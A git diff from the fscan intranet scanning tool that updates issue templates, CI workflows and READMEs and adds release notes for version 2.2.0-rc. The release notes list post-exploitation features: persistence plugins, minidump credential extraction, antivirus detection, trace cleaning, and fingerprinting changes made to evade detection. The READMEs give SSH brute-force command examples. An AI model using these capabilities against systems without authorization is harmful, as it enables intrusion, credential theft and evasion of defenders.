diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml index e85de5e..93c4609 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -1,6 +1,6 @@ name: 🐛 Bug 报告 description: 报告扫描异常、崩溃或错误行为 -title: "[Bug] 简要描述问题" +title: "[Bug] " labels: ["bug"] body: @@ -8,6 +8,7 @@ body: attributes: value: | 感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。 + **请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。 - type: dropdown id: module @@ -21,8 +22,10 @@ body: - 弱口令爆破 (Brute Force) - POC/漏洞扫描 (POC Scan) - Web指纹识别 (Web Fingerprint) + - 代理功能 (Proxy) - 输出/日志 (Output/Logging) - 命令行参数 (CLI Arguments) + - 嵌入式 SDK (Embedded SDK) - 其他 (Other) validations: required: true @@ -32,7 +35,7 @@ body: attributes: label: 严重程度 options: - - 崩溃/无法使用 (Crash) + - 崩溃/Panic (Crash) - 功能异常 (Malfunction) - 结果不准确 (Inaccurate) - 性能问题 (Performance) @@ -44,10 +47,7 @@ body: id: description attributes: label: 问题描述 - description: 清晰描述遇到的问题 - placeholder: | - 发生了什么? - 预期的行为是什么? + description: 清晰描述遇到的问题,包括预期行为和实际行为 validations: required: true @@ -55,10 +55,7 @@ body: id: reproduce attributes: label: 复现步骤 - description: 提供可以复现问题的命令或步骤 - placeholder: | - 1. 执行命令: fscan -h xxx -p xxx - 2. 观察到... + description: 提供可以复现问题的完整命令(请脱敏 IP/密码) render: shell validations: required: true @@ -75,10 +72,12 @@ body: attributes: label: fscan 版本 options: + - 2.2.0-rc (dev) + - 2.1.3 + - 2.1.2 - 2.1.0 - - 2.0.1 - - 2.0.0 - - 1.8.4 + - 2.0.x + - 1.8.x - 其他/自编译 validations: required: true @@ -92,14 +91,13 @@ body: - Windows 10 - Windows Server 2022 - Windows Server 2019 + - Ubuntu 24.04 - Ubuntu 22.04 - - Ubuntu 20.04 - - CentOS 7 - - CentOS 8/Stream + - CentOS 7/8/Stream - Debian 11/12 - Kali Linux + - macOS 15 (Sequoia) - macOS 14 (Sonoma) - - macOS 13 (Ventura) - 其他 Linux - 其他 validations: @@ -114,6 +112,7 @@ body: - arm64 (aarch64) - 386 (x86) - arm + - mips/mipsle validations: required: true @@ -121,4 +120,4 @@ body: id: additional attributes: label: 补充信息 - description: 其他可能有助于排查问题的信息(如自编译请注明 Go 版本) + description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等) diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml index 6472364..73e202c 100644 --- a/.github/ISSUE_TEMPLATE/config.yml +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -1,11 +1,10 @@ # Issue 模板配置 -# 禁止空白 issue,强制用户选择模板 blank_issues_enabled: false contact_links: - - name: 📖 使用文档 + - name: 📖 使用文档 / README url: https://github.com/shadow1ng/fscan/blob/main/README.md - about: 提交 Issue 前请先查阅文档 - - name: 💬 讨论区 + about: 提交 Issue 前请先查阅文档,确认不是用法问题 + - name: 💬 讨论区 / Discussions url: https://github.com/shadow1ng/fscan/discussions - about: 一般性问题和讨论请使用 Discussions + about: 使用疑问、经验分享、一般性讨论请使用 Discussions diff --git a/.github/ISSUE_TEMPLATE/false_positive.yml b/.github/ISSUE_TEMPLATE/false_positive.yml index 99c6c5c..883903d 100644 --- a/.github/ISSUE_TEMPLATE/false_positive.yml +++ b/.github/ISSUE_TEMPLATE/false_positive.yml @@ -1,13 +1,14 @@ name: 🎯 误报/漏报 description: 报告扫描结果不准确的问题 -title: "[Accuracy] 服务名 - 误报/漏报描述" +title: "[Accuracy] " labels: ["accuracy"] body: - type: markdown attributes: value: | - 感谢您帮助提高 fscan 的准确性!误报和漏报都是需要优化的问题。 + 感谢您帮助提高 fscan 的准确性! + **请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。 - type: dropdown id: type @@ -34,11 +35,20 @@ body: validations: required: true + - type: textarea + id: command + attributes: + label: 使用的命令 + description: 执行的 fscan 命令(请脱敏真实 IP/密码) + render: shell + validations: + required: true + - type: textarea id: fscan-output attributes: label: fscan 输出结果 - description: 粘贴相关的扫描输出(请脱敏敏感信息如真实IP、密码等) + description: 粘贴相关的扫描输出(请脱敏敏感信息) render: shell validations: required: true @@ -46,11 +56,8 @@ body: - type: textarea id: actual attributes: - label: 实际情况 - description: 描述目标的真实状态 - placeholder: | - 实际上这个端口是关闭的 / 服务版本是 xxx / 密码不是 xxx... - 验证方式: 通过 nmap/手动连接/其他工具 确认... + label: 实际情况及验证方式 + description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等) validations: required: true @@ -59,15 +66,13 @@ body: attributes: label: 目标操作系统 options: - - Windows Server 2022 - - Windows Server 2019 - - Windows Server 2016 - - Windows 10/11 - - Ubuntu + - Windows Server + - Windows Desktop + - Ubuntu/Debian - CentOS/RHEL - - Debian - 其他 Linux - 网络设备 + - 容器/Docker - 未知 validations: required: true @@ -77,20 +82,10 @@ body: attributes: label: 网络环境 options: - - 直连 - - 通过代理 + - 直连(同网段) + - 跨网段/路由 + - 通过代理 (SOCKS5/HTTP) - VPN - - 跨网段 - validations: - required: true - - - type: textarea - id: command - attributes: - label: 使用的命令 - description: 执行的 fscan 命令 - placeholder: "fscan -h x.x.x.x -p 1-65535 -pwdf pass.txt" - render: shell validations: required: true @@ -99,10 +94,12 @@ body: attributes: label: fscan 版本 options: + - 2.2.0-rc (dev) + - 2.1.3 + - 2.1.2 - 2.1.0 - - 2.0.1 - - 2.0.0 - - 1.8.4 + - 2.0.x + - 1.8.x - 其他/自编译 validations: required: true @@ -110,8 +107,5 @@ body: - type: textarea id: suggestion attributes: - label: 改进建议 - description: 如果您有改进的想法,请分享 - placeholder: | - 建议增加 xxx 判断条件... - 或者调整 xxx 检测逻辑... + label: 改进建议(可选) + description: 如果您有改进判断逻辑的想法 diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml index ca88290..257c590 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.yml +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -1,13 +1,14 @@ name: ✨ 功能请求 description: 提议新功能或改进现有功能 -title: "[Feature] 一句话描述功能" +title: "[Feature] " labels: ["enhancement"] body: - type: markdown attributes: value: | - 感谢您的功能建议!请详细描述您的需求,这将帮助我们评估和实现。 + 感谢您的功能建议!请描述清楚使用场景和期望行为。 + 纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。 - type: dropdown id: category @@ -19,6 +20,7 @@ body: - 用户体验 (UX/CLI) - 输出格式 (Output Format) - 配置选项 (Configuration) + - 嵌入式 SDK (Embedded SDK) - 集成/API (Integration/API) - 其他 (Other) validations: @@ -28,10 +30,7 @@ body: id: problem attributes: label: 解决什么问题? - description: 描述您遇到的痛点或使用场景 - placeholder: | - 在进行 xxx 操作时,我希望能够... - 目前的问题是... + description: 描述您的实际使用场景和痛点 validations: required: true @@ -39,20 +38,15 @@ body: id: solution attributes: label: 期望的解决方案 - description: 描述您希望的功能或行为 - placeholder: | - 希望能够通过 -xxx 参数来... - 或者增加一个新的模块来... + description: 描述您希望的功能行为,最好包含预期的命令行用法示例 validations: required: true - type: textarea id: alternatives attributes: - label: 替代方案 - description: 您考虑过的其他解决方案或变通方法 - placeholder: | - 目前我通过 xxx 方式来解决,但是... + label: 替代方案(可选) + description: 您目前的变通方法,或考虑过的其他方案 - type: dropdown id: priority @@ -60,7 +54,7 @@ body: label: 优先级建议 description: 您认为这个功能的重要程度 options: - - 高 - 核心功能缺失 + - 高 - 核心场景缺失,严重影响使用 - 中 - 明显改善体验 - 低 - 锦上添花 validations: diff --git a/.github/ISSUE_TEMPLATE/plugin_request.yml b/.github/ISSUE_TEMPLATE/plugin_request.yml index cb61fd8..4b7873c 100644 --- a/.github/ISSUE_TEMPLATE/plugin_request.yml +++ b/.github/ISSUE_TEMPLATE/plugin_request.yml @@ -1,6 +1,6 @@ name: 🔌 新插件/协议支持 description: 请求支持新的服务、协议或漏洞检测 -title: "[Plugin] 协议/服务名称" +title: "[Plugin] " labels: ["plugin", "enhancement"] body: @@ -8,6 +8,7 @@ body: attributes: value: | 感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。 + 提交前请先确认该服务尚未被支持(查看 README 的支持列表)。 - type: dropdown id: type @@ -25,7 +26,7 @@ body: id: service attributes: label: 服务/协议名称 - placeholder: "如: Kafka, ClickHouse, etcd, Consul" + description: 例如 ClickHouse、etcd、Consul、Zookeeper validations: required: true @@ -33,49 +34,31 @@ body: id: port attributes: label: 默认端口 - placeholder: "如: 9092, 8123, 2379" + description: 例如 9000、2379、8500 - type: textarea id: description attributes: - label: 服务描述 - description: 简要介绍这个服务/协议 - placeholder: | - 这是一个用于 xxx 的服务... - 在内网环境中常见于... + label: 服务描述与检测思路 + description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等) validations: required: true - - type: textarea - id: detection - attributes: - label: 识别方法 - description: 如何识别/检测这个服务(如有了解) - placeholder: | - Banner 特征: xxx - 默认响应: xxx - 认证方式: xxx - - type: textarea id: reference attributes: - label: 参考资料 - description: 相关文档、其他工具实现、漏洞详情等 - placeholder: | - - 官方文档: https://... - - 其他工具实现: https://... - - CVE编号: CVE-xxxx-xxxx + label: 参考资料(可选) + description: 官方文档链接、协议规范、其他工具实现、CVE 编号等 - type: dropdown id: prevalence attributes: - label: 使用普遍程度 - description: 这个服务在目标环境中的常见程度 + label: 内网常见程度 options: - - 非常常见 (企业环境标配) - - 较为常见 (经常遇到) + - 非常常见(企业环境标配) + - 较为常见(经常遇到) - 偶尔遇到 - - 较少见但重要 + - 较少见但高价值 validations: required: true diff --git a/.github/RELEASE.md b/.github/RELEASE.md new file mode 100644 index 0000000..be3d4fb --- /dev/null +++ b/.github/RELEASE.md @@ -0,0 +1,64 @@ +# 发版流程 + +## 预检查 + +```bash +# 1. 确认 CI 通过 +gh run list --branch dev --limit 3 + +# 2. 全平台 dry-run(手动触发 snapshot 模式) +gh workflow run release.yml -f snapshot=true + +# 3. 确认版本号一致 +grep "version" common/globals.go +grep "版本" README.md +``` + +## 发版 + +```bash +# 1. 确认 release notes 已就绪 +cat .github/release-notes/v.md + +# 2. 打 tag(在 dev 分支打 RC,在 main 分支打正式版) +git tag v +git push origin v + +# CI 自动执行: +# - goreleaser 全平台构建 + UPX 压缩 +# - 创建 GitHub Release(RC 自动标记 pre-release) +# - 用 .github/release-notes/ 下的文件覆盖 release body +``` + +## 版本号规范 + +| 场景 | 格式 | 分支 | 示例 | +|------|------|------|------| +| 正式版 | `vX.Y.Z` | main | `v2.2.0` | +| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` | +| 热修复 | `vX.Y.Z` | main | `v2.2.1` | + +## Release Notes 模板 + +放在 `.github/release-notes/.md`,格式参考 `v2.2.0-rc.md`。 + +如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。 + +## 正式版发布(RC → 正式) + +```bash +# 1. 合并 dev 到 main +git checkout main +git merge dev +git push + +# 2. 更新版本号去掉 -rc +# common/globals.go, README.md, README_EN.md + +# 3. 准备正式版 release notes +# .github/release-notes/v2.2.0.md + +# 4. 打 tag +git tag v2.2.0 +git push origin v2.2.0 +``` diff --git a/.github/actions/build-release/action.yml b/.github/actions/build-release/action.yml index d73b0f0..2fc6502 100644 --- a/.github/actions/build-release/action.yml +++ b/.github/actions/build-release/action.yml @@ -24,15 +24,12 @@ runs: steps: - name: 设置 Go 环境 uses: actions/setup-go@v5 + env: + FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true with: go-version: ${{ inputs.go-version }} cache: true - - name: 安装 C 编译工具 - shell: bash - run: | - sudo apt-get update -qq - sudo apt-get install -y gcc make mingw-w64 gcc-multilib g++-multilib - name: 下载依赖 shell: bash @@ -59,12 +56,12 @@ runs: - name: 上传产物 uses: actions/upload-artifact@v4 + env: + FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true if: always() with: name: build-${{ inputs.mode }}-${{ github.run_id }} - path: | - dist/ - dist-lite/ + path: dist/ retention-days: ${{ inputs.retention-days }} - name: 生成报告 @@ -83,7 +80,6 @@ runs: ## 构建产物 - ### fscan (Go 版本) $(if [ -d "dist" ]; then echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)" echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)" @@ -91,13 +87,5 @@ runs: echo "- 无产物" fi) - ### fscan-lite (C 版本) - $(if [ -d "dist-lite" ]; then - echo "- 文件数: $(find dist-lite -type f 2>/dev/null | wc -l)" - echo "- 大小: $(du -sh dist-lite 2>/dev/null | cut -f1)" - else - echo "- 无产物" - fi) - [查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) EOF diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml index 9187500..18ebff3 100644 --- a/.github/conf/.goreleaser.yml +++ b/.github/conf/.goreleaser.yml @@ -4,8 +4,6 @@ before: hooks: - go mod tidy - go mod download - - chmod +x .github/scripts/build-lite.sh - - bash .github/scripts/build-lite.sh {{ .Version }} builds: # 标准版 - 全部插件(全架构) @@ -238,8 +236,6 @@ release: | Solaris | x64 | footer: | **完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }} - extra_files: - - glob: ./dist-lite/* snapshot: name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}" diff --git a/.github/release-notes/v2.2.0-rc.md b/.github/release-notes/v2.2.0-rc.md new file mode 100644 index 0000000..269b7ad --- /dev/null +++ b/.github/release-notes/v2.2.0-rc.md @@ -0,0 +1,106 @@ +# fscan v2.2.0-rc + +> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。 +> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 +> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。 + +--- + +## 与 v2.1.3 的主要变更 + +### 🏗️ 架构升级:嵌入式 Scanner SDK + +新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。 + +- 支持从其他 Go 程序直接调用 fscan 扫描能力 +- 每个 Scanner 实例拥有独立的 config/state/session +- 支持多实例并发扫描,日志和结果完全隔离 +- 全局状态已完整迁移到 session 实例 + +### 🚀 大规模扫描支持 + +- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存 +- **移除 MaxHosts 硬限制** — 大网段不再被静默截断 +- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic + +### 🔌 新增协议插件(+9) + +| 插件 | 用途 | +|------|------| +| IMAP / POP3 | 邮件服务器检测 | +| JDWP | Java Debug 端口检测 | +| NFS / RMI | 文件共享 / Java 远程调用 | +| IPMI | 服务器带外管理 | +| SNMP (UDP) | 网络设备管理 | +| DNS / BACnet / Modbus | DNS 服务 / 工控协议 | + +全部为**原生协议实现**,零外部依赖。 + +### ⚡ 性能与体积优化 + +- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小** +- 热路径零分配、自适应连接池 CAS 无锁化 +- Scanner 客户端指纹收敛(降低被检测概率) + +### 🌐 网络能力增强 + +- **SOCKS5 代理认证**支持(用户名/密码) +- **国密 TLS**(SM2/SM3/SM4)网站扫描 +- 支持 `-add-password` 追加多个自定义密码 + +### 🔧 本地后渗透插件 + +- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask) +- minidump 降级链凭据提取 + 杀软前置检测 +- cleaner 清理所有持久化痕迹 +- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo) + +### 📦 工程改进 + +- 目录重命名:`WebScan/` → `webscan/`、`mylib/` → `libs/` +- i18n 覆盖扩展(中/英双语) +- 全量 lint/errcheck 修复 +- 补充大量单元测试 + +--- + +## ⚠️ 已知问题 / 注意事项 + +| 问题 | 说明 | +|------|------| +| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) | +| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) | +| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 | +| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 | +| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 | + +--- + +## 反馈与贡献 + +这是一个 RC 版本,我们非常需要你的反馈: + +- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml) +- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml) +- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml) +- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions) + +--- + +## 版本说明 + +| 版本 | 说明 | +|------|------| +| **fscan** | 标准版,包含全部插件(推荐) | +| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) | +| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) | + +## 平台支持 + +| 平台 | 架构 | +|------|------| +| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle | +| Windows | x64, x32 | +| macOS | x64 (Intel), arm64 (Apple Silicon) | +| FreeBSD | x64, x32, arm64, armv5/6/7 | +| Solaris | X64n | diff --git a/.github/scripts/build-lite.sh b/.github/scripts/build-lite.sh deleted file mode 100644 index e280334..0000000 --- a/.github/scripts/build-lite.sh +++ /dev/null @@ -1,81 +0,0 @@ -#!/bin/bash -# 构建 fscan-lite 并准备发布产物 - -set -e - -VERSION="${1:-dev}" -LITE_DIR="fscan-lite" -OUTPUT_DIR="dist-lite" - -echo "==> 构建 fscan-lite (版本: $VERSION)" - -# 清理旧产物 -rm -rf "$OUTPUT_DIR" -mkdir -p "$OUTPUT_DIR" - -# 进入 lite 目录 -cd "$LITE_DIR" - -# 源文件 -SOURCES="src/main.c src/scanner.c src/platform.c" -INCLUDE="-Iinclude" -CFLAGS_BASE="-std=c89 -Wall -O2" - -# 构建 Linux 版本 -echo "==> 构建 Linux 版本..." - -# Linux x64 -echo " - Linux x64" -mkdir -p bin -gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite $SOURCES -lpthread -cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x64" -rm -rf bin - -# Linux x32 -echo " - Linux x32" -mkdir -p bin -gcc $CFLAGS_BASE -m32 $INCLUDE -o bin/fscan-lite $SOURCES -lpthread 2>/dev/null || echo " (跳过: 缺少 32-bit 支持)" -if [ -f bin/fscan-lite ]; then - cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x32" -fi -rm -rf bin - -# 构建 Windows 版本 -echo "==> 构建 Windows 版本..." - -# Windows x64 -echo " - Windows x64" -mkdir -p bin -x86_64-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static -if [ -f bin/fscan-lite.exe ]; then - cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x64.exe" - echo " ✓ 编译成功" -else - echo " ✗ 编译失败" -fi -rm -rf bin - -# Windows x32 -echo " - Windows x32" -mkdir -p bin -i686-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static -if [ -f bin/fscan-lite.exe ]; then - cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x32.exe" - echo " ✓ 编译成功" -else - echo " ✗ 编译失败" -fi -rm -rf bin - -cd .. - -# 统计产物 -echo "" -echo "==> 构建完成!" -echo "产物列表:" -if [ -d "$OUTPUT_DIR" ]; then - ls -lh "$OUTPUT_DIR" 2>/dev/null || echo " (无产物)" - echo "" - FILECOUNT=$(ls "$OUTPUT_DIR" 2>/dev/null | wc -l) - echo "总计: $FILECOUNT 个文件" -fi diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 8c30985..6562fbd 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -14,14 +14,13 @@ on: description: '创建草稿发布' type: boolean default: false - prerelease: - description: '标记为预发布' - type: boolean - default: false permissions: contents: write +env: + FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true + jobs: release: runs-on: ubuntu-latest @@ -33,10 +32,41 @@ jobs: with: fetch-depth: 0 + - name: 准备 Release Notes + if: ${{ !inputs.snapshot }} + run: | + TAG="${GITHUB_REF_NAME}" + NOTES_FILE=".github/release-notes/${TAG}.md" + + if [ -f "$NOTES_FILE" ]; then + echo "📝 找到版本 Release Notes: $NOTES_FILE" + cp "$NOTES_FILE" /tmp/release-notes.md + else + echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog" + echo "" > /tmp/release-notes.md + fi + + echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV + - name: 构建和发布 uses: ./.github/actions/build-release with: mode: ${{ inputs.snapshot && 'snapshot' || 'release' }} go-version: '1.20' retention-days: '90' - release-args: ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }} + release-args: ${{ inputs.draft && '--draft' || '' }} + + - name: 更新 Release Notes + if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }} + env: + GH_TOKEN: ${{ github.token }} + run: | + TAG="${GITHUB_REF_NAME}" + NOTES_FILE="${RELEASE_NOTES_FILE}" + + if [ -s "$NOTES_FILE" ]; then + echo "📝 更新 Release Notes..." + # 用版本特定的 notes 替换 goreleaser 生成的 body + gh release edit "$TAG" --notes-file "$NOTES_FILE" + echo "✅ Release Notes 已更新" + fi diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index 477fc71..b31f5a0 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -38,6 +38,9 @@ on: permissions: contents: read +env: + FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true + jobs: lint: name: 代码检查 @@ -56,32 +59,22 @@ jobs: - name: 运行 golangci-lint run: | - # 安装 golangci-lint v2 + # 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性) go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.12.1 - # 运行检查并灵活处理结果 - set +e - golangci-lint run --timeout=5m > lint_output.txt 2>&1 - LINT_EXIT_CODE=$? + # 运行检查 + golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true cat lint_output.txt - set -e - # 只关注真正的 bug,忽略代码质量建议 - # 过滤规则: - # - gocognit/gocyclo: 复杂度警告(阈值已在配置中设置) - # - QF/S/ST: staticcheck 的代码质量改进建议(非bug) - if [ $LINT_EXIT_CODE -ne 0 ]; then - CRITICAL_ISSUES=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt | grep -v "gocognit" | grep -v "gocyclo" | grep -v "QF[0-9]" | grep -v " S[0-9]" | grep -v "ST[0-9]" || true) - if [ -n "$CRITICAL_ISSUES" ]; then - echo "❌ Linting failed with critical issues:" - echo "$CRITICAL_ISSUES" | head -20 - exit 1 - else - echo "⚠️ Only quality suggestions - PASSING" - exit 0 - fi + # 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI) + CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \ + | grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true) + if [ -n "$CRITICAL" ]; then + echo "❌ Linting failed with critical issues:" + echo "$CRITICAL" | head -20 + exit 1 fi - echo "✅ No lint issues found" + echo "✅ Lint 检查通过" - name: 检查代码复杂度(质量门禁) run: | @@ -132,7 +125,8 @@ jobs: - name: 运行测试 run: | # 排除第三方grdp库测试(存在环境依赖问题) - go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $(go list ./... | grep -v '/mylib/grdp/') + PKGS=$(go list ./... | grep -v '/libs/grdp/') + go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS - name: 上传覆盖率 uses: actions/upload-artifact@v4 @@ -153,18 +147,14 @@ jobs: echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY - # 提取总体覆盖率 - TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//') + # 提取总体覆盖率(awk 整数比较,不需要 bc) + TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}') echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY - # 检查核心模块覆盖率(core, common/parsers必须>50%) - CORE_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/core/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}') - PARSERS_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/common/parsers/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}') - - # 警告阈值:总体<40%, 核心模块<50% - if (( $(echo "$TOTAL_COVERAGE < 40" | bc -l) )); then + # 警告阈值:总体<40% + if [ "$TOTAL_COVERAGE" -lt 40 ]; then echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY fi diff --git a/.gitignore b/.gitignore index ed5ad95..66c0f15 100644 --- a/.gitignore +++ b/.gitignore @@ -1,9 +1,9 @@ result.txt result.json -main +/main .idea fscan.exe -fscan +/fscan fscanapi.csv # IDE files / IDE 文件 diff --git a/.golangci.yml b/.golangci.yml index ec9e8c0..325a3e5 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -45,7 +45,7 @@ linters: - vendor - testdocker - image - - mylib/grdp + - libs/grdp issues: max-issues-per-linter: 50 diff --git a/README.md b/README.md index cd54550..8c29b8c 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ 内网综合扫描工具,一键自动化漏扫。 -**版本**: 2.1.2 +**版本**: 2.2.0-rc ## 功能特性 @@ -52,6 +52,7 @@ - **并发控制** - 端口扫描线程、服务扫描线程独立配置 ### 扩展功能 +- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯 - **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web) - **Lab靶场环境** - 内置Docker靶场用于测试学习 - **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展 @@ -211,9 +212,13 @@ yay -S fscan-git `fscan.exe -h 192.168.x.x -m ssh -user root -pwd password` ![](image/3.png) +`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码) + `fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080` ![](image/2020-12-12-13-34-44.png) +`fscan.exe -h 192.168.x.x -socks5 socks5://user:pass@127.0.0.1:1080` (SOCKS5认证代理) + `fscan.exe -h 192.168.x.x -p 139 -m netbios` ![](image/netbios.png) @@ -234,6 +239,11 @@ yay -S fscan-git - **后两周** - Bug修复与代码整合 - **欢迎PR** - 期待您的贡献! +### SDK & Agent 集成 +- 扩展SDK能力,完善端侧Agent嵌入支持 +- 断点续扫、带宽级限速、内存水位控制 +- 更多Agent场景的集成示例 + ### 插件生态 - 持续扩展服务插件覆盖范围 - 为每个服务插件开发更多漏洞检测和利用能力 diff --git a/README_EN.md b/README_EN.md index cbaca5d..7d0104a 100644 --- a/README_EN.md +++ b/README_EN.md @@ -4,7 +4,7 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. -**Version**: 2.1.2 +**Version**: 2.2.0-rc ## Features @@ -211,9 +211,13 @@ yay -S fscan-git `fscan.exe -h 192.168.x.x -m ssh -user root -pwd password` ![](image/3.png) +`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords) + `fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080` ![](image/2020-12-12-13-34-44.png) +`fscan.exe -h 192.168.x.x -socks5 socks5://user:pass@127.0.0.1:1080` (SOCKS5 proxy with authentication) + `fscan.exe -h 192.168.x.x -p 139 -m netbios` ![](image/netbios.png) diff --git a/SKILL.md b/SKILL.md index b0b51d2..2a3065f 100644 --- a/SKILL.md +++ b/SKILL.md @@ -67,7 +67,7 @@ fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")' | `-user` | 用户名 | | `-pwd` | 密码 | | `-usera` | 追加用户名 | -| `-pwda` | 追加密码 | +| `-pwda` | 追加密码,支持逗号或空格分隔多个值 | | `-userf` | 用户名字典文件 | | `-pwdf` | 密码字典文件 | | `-domain` | 域名(SMB/WMI) | diff --git a/common/config/constants.go b/common/config/constants.go index 7d93512..24afce1 100644 --- a/common/config/constants.go +++ b/common/config/constants.go @@ -36,7 +36,7 @@ var ( "6000,6379,6380,6443,6666,6667," + // Web/中间件 (7001-9999) // 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 - 